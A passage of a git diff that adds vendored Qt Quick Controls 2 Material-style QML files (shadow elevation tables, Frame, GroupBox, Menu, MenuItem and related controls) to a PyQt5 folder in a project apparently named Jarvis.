spread: 4}], + + [{offset: 7, blur: 9, spread: -4}, + {offset: 14, blur: 21, spread: 2}, + {offset: 5, blur: 26, spread: 4}], + + [{offset: 8, blur: 9, spread: -5}, + {offset: 15, blur: 22, spread: 2}, + {offset: 6, blur: 28, spread: 5}], + + [{offset: 8, blur: 10, spread: -5}, + {offset: 16, blur: 24, spread: 2}, + {offset: 6, blur: 30, spread: 5}], + + [{offset: 8, blur: 11, spread: -5}, + {offset: 17, blur: 26, spread: 2}, + {offset: 6, blur: 32, spread: 5}], + + [{offset: 9, blur: 11, spread: -5}, + {offset: 18, blur: 28, spread: 2}, + {offset: 7, blur: 34, spread: 6}], + + [{offset: 9, blur: 12, spread: -6}, + {offset: 19, blur: 29, spread: 2}, + {offset: 7, blur: 36, spread: 6}], + + [{offset: 10, blur: 13, spread: -6}, + {offset: 20, blur: 31, spread: 3}, + {offset: 8, blur: 38, spread: 7}], + + [{offset: 10, blur: 13, spread: -6}, + {offset: 21, blur: 33, spread: 3}, + {offset: 8, blur: 40, spread: 7}], + + [{offset: 10, blur: 14, spread: -6}, + {offset: 22, blur: 35, spread: 3}, + {offset: 8, blur: 42, spread: 7}], + + [{offset: 11, blur: 14, spread: -7}, + {offset: 23, blur: 36, spread: 3}, + {offset: 9, blur: 44, spread: 8}], + + [{offset: 11, blur: 15, spread: -7}, + {offset: 24, blur: 38, spread: 3}, + {offset: 9, blur: 46, spread: 8}] + ] + + /* + \internal + + The current shadow based on the elevation. + */ + readonly property var _shadow: _shadows[Math.max(0, Math.min(elevation, _shadows.length - 1))] + + // Nest the shadows and source view in two items rendered as a layer + // so the shadow is not clipped by the bounds of the source view + Item { + property int margin: -100 + + x: margin + y: margin + width: parent.width - 2 * margin + height: parent.height - 2 * margin + + // By rendering as a layer, the shadow will never show through the source item, + // even when the source item's opacity is less than 1 + layer.enabled: true + + // The box shadows automatically pick up the size of the source Item and not + // the size of the parent, so we don't need to worry about the extra padding + // in the parent Item + BoxShadow { + offsetY: effect._shadow[0].offset + blurRadius: effect._shadow[0].blur + spreadRadius: effect._shadow[0].spread + color: Qt.rgba(0,0,0, 0.2) + + fullWidth: effect.fullWidth + fullHeight: effect.fullHeight + source: effect.sourceItem + } + + BoxShadow { + offsetY: effect._shadow[1].offset + blurRadius: effect._shadow[1].blur + spreadRadius: effect._shadow[1].spread + color: Qt.rgba(0,0,0, 0.14) + + fullWidth: effect.fullWidth + fullHeight: effect.fullHeight + source: effect.sourceItem + } + + BoxShadow { + offsetY: effect._shadow[2].offset + blurRadius: effect._shadow[2].blur + spreadRadius: effect._shadow[2].spread + color: Qt.rgba(0,0,0, 0.12) + + fullWidth: effect.fullWidth + fullHeight: effect.fullHeight + source: effect.sourceItem + } + + ShaderEffect { + property alias source: effect.source + + x: (parent.width - width)/2 + y: (parent.height - height)/2 + width: effect.sourceItem.width + height: effect.sourceItem.height + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Frame.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Frame.qml new file mode 100644 index 00000000..0001825e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Frame.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.Frame { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + verticalPadding: Material.frameVerticalPadding + + background: Rectangle { + radius: 2 + color: control.Material.elevation > 0 ? control.Material.backgroundColor : "transparent" + border.color: control.Material.frameColor + + layer.enabled: control.enabled && control.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/GroupBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/GroupBox.qml new file mode 100644 index 00000000..e18a5949 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/GroupBox.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.GroupBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitLabelWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: 6 + padding: 12 + topPadding: Material.frameVerticalPadding + (implicitLabelWidth > 0 ? implicitLabelHeight + spacing : 0) + bottomPadding: Material.frameVerticalPadding + + label: Text { + x: control.leftPadding + width: control.availableWidth + + text: control.title + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } + + background: Rectangle { + y: control.topPadding - control.bottomPadding + width: parent.width + height: parent.height - control.topPadding + control.bottomPadding + + radius: 2 + color: control.Material.elevation > 0 ? control.Material.backgroundColor : "transparent" + border.color: control.Material.frameColor + + layer.enabled: control.enabled && control.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/HorizontalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/HorizontalHeaderView.qml new file mode 100644 index 00000000..fd672f34 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/HorizontalHeaderView.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Templates 2.15 as T +import QtQuick.Controls.Material 2.15 +import QtQuick.Controls.Material.impl 2.15 + +T.HorizontalHeaderView { + id: control + + implicitWidth: syncView ? syncView.width : 0 + implicitHeight: contentHeight + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: text.implicitWidth + (cellPadding * 2) + implicitHeight: Math.max(control.height, text.implicitHeight + (cellPadding * 2)) + color: control.Material.backgroundColor + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: enabled ? control.Material.foreground : control.Material.hintTextColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ItemDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ItemDelegate.qml new file mode 100644 index 00000000..2078ce6c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ItemDelegate.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.ItemDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 16 + verticalPadding: 8 + spacing: 16 + + icon.width: 24 + icon.height: 24 + icon.color: enabled ? Material.foreground : Material.hintTextColor + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + } + + background: Rectangle { + implicitHeight: control.Material.delegateHeight + + color: control.highlighted ? control.Material.listHighlightColor : "transparent" + + Ripple { + width: parent.width + height: parent.height + + clip: visible + pressed: control.pressed + anchor: control + active: control.down || control.visualFocus || control.hovered + color: control.Material.rippleColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Label.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Label.qml new file mode 100644 index 00000000..ad923a24 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Label.qml @@ -0,0 +1,46 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.Label { + id: control + + color: enabled ? Material.foreground : Material.hintTextColor + linkColor: Material.accentColor +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Menu.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Menu.qml new file mode 100644 index 00000000..94bcc15e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Menu.qml @@ -0,0 +1,108 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 +import QtQuick.Window 2.12 + +T.Menu { + id: control + + Material.elevation: 8 + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + margins: 0 + verticalPadding: 8 + + transformOrigin: !cascade ? Item.Top : (mirrored ? Item.TopRight : Item.TopLeft) + + delegate: MenuItem { } + + enter: Transition { + // grow_fade_in + NumberAnimation { property: "scale"; from: 0.9; to: 1.0; easing.type: Easing.OutQuint; duration: 220 } + NumberAnimation { property: "opacity"; from: 0.0; to: 1.0; easing.type: Easing.OutCubic; duration: 150 } + } + + exit: Transition { + // shrink_fade_out + NumberAnimation { property: "scale"; from: 1.0; to: 0.9; easing.type: Easing.OutQuint; duration: 220 } + NumberAnimation { property: "opacity"; from: 1.0; to: 0.0; easing.type: Easing.OutCubic; duration: 150 } + } + + contentItem: ListView { + implicitHeight: contentHeight + + model: control.contentModel + interactive: Window.window + ? contentHeight + control.topPadding + control.bottomPadding > Window.window.height + : false + clip: true + currentIndex: control.currentIndex + + ScrollIndicator.vertical: ScrollIndicator {} + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: control.Material.menuItemHeight + + radius: 3 + color: control.Material.dialogColor + + layer.enabled: control.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + } + + T.Overlay.modal: Rectangle { + color: control.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } + + T.Overlay.modeless: Rectangle { + color: control.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuBar.qml new file mode 100644 index 00000000..66252d6e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuBar.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.MenuBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + delegate: MenuBarItem { } + + contentItem: Row { + spacing: control.spacing + Repeater { + model: control.contentModel + } + } + + background: Rectangle { + implicitHeight: 40 + color: control.Material.dialogColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuBarItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuBarItem.qml new file mode 100644 index 00000000..588d6fbb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuBarItem.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.MenuBarItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 16 + verticalPadding: 12 + spacing: 16 + + icon.width: 24 + icon.height: 24 + icon.color: enabled ? Material.foreground : Material.hintTextColor + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + } + + background: Rectangle { + implicitWidth: 40 + implicitHeight: 40 + color: control.highlighted ? control.Material.listHighlightColor : "transparent" + + Ripple { + width: parent.width + height: parent.height + + clip: visible + pressed: control.pressed + anchor: control + active: control.down || control.highlighted + color: control.Material.rippleColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuItem.qml new file mode 100644 index 00000000..a5d2f8a1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuItem.qml @@ -0,0 +1,112 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.MenuItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 16 + verticalPadding: Material.menuItemVerticalPadding + spacing: 16 + + icon.width: 24 + icon.height: 24 + icon.color: enabled ? Material.foreground : Material.hintTextColor + + indicator: CheckIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + visible: control.checkable + control: control + checkState: control.checked ? Qt.Checked : Qt.Unchecked + } + + arrow: ColorImage { + x: control.mirrored ? control.padding : control.width - width - control.padding + y: control.topPadding + (control.availableHeight - height) / 2 + + visible: control.subMenu + mirror: control.mirrored + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Material/images/arrow-indicator.png" + } + + contentItem: IconLabel { + readonly property real arrowPadding: control.subMenu && control.arrow ? control.arrow.width + control.spacing : 0 + readonly property real indicatorPadding: control.checkable && control.indicator ? control.indicator.width + control.spacing : 0 + leftPadding: !control.mirrored ? indicatorPadding : arrowPadding + rightPadding: control.mirrored ? indicatorPadding : arrowPadding + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: control.Material.menuItemHeight + color: control.highlighted ? control.Material.listHighlightColor : "transparent" + + Ripple { + width: parent.width + height: parent.height + + clip: visible + pressed: control.pressed + anchor: control + active: control.down || control.highlighted + color: control.Material.rippleColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuSeparator.qml new file mode 100644 index 00000000..6d80c049 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/MenuSeparator.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.MenuSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + verticalPadding: 8 + + contentItem: Rectangle { + implicitWidth: 200 + implicitHeight: 1 + color: control.Material.dividerColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Page.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Page.qml new file mode 100644 index 00000000..4da0ecc6 --- /dev/null +++ 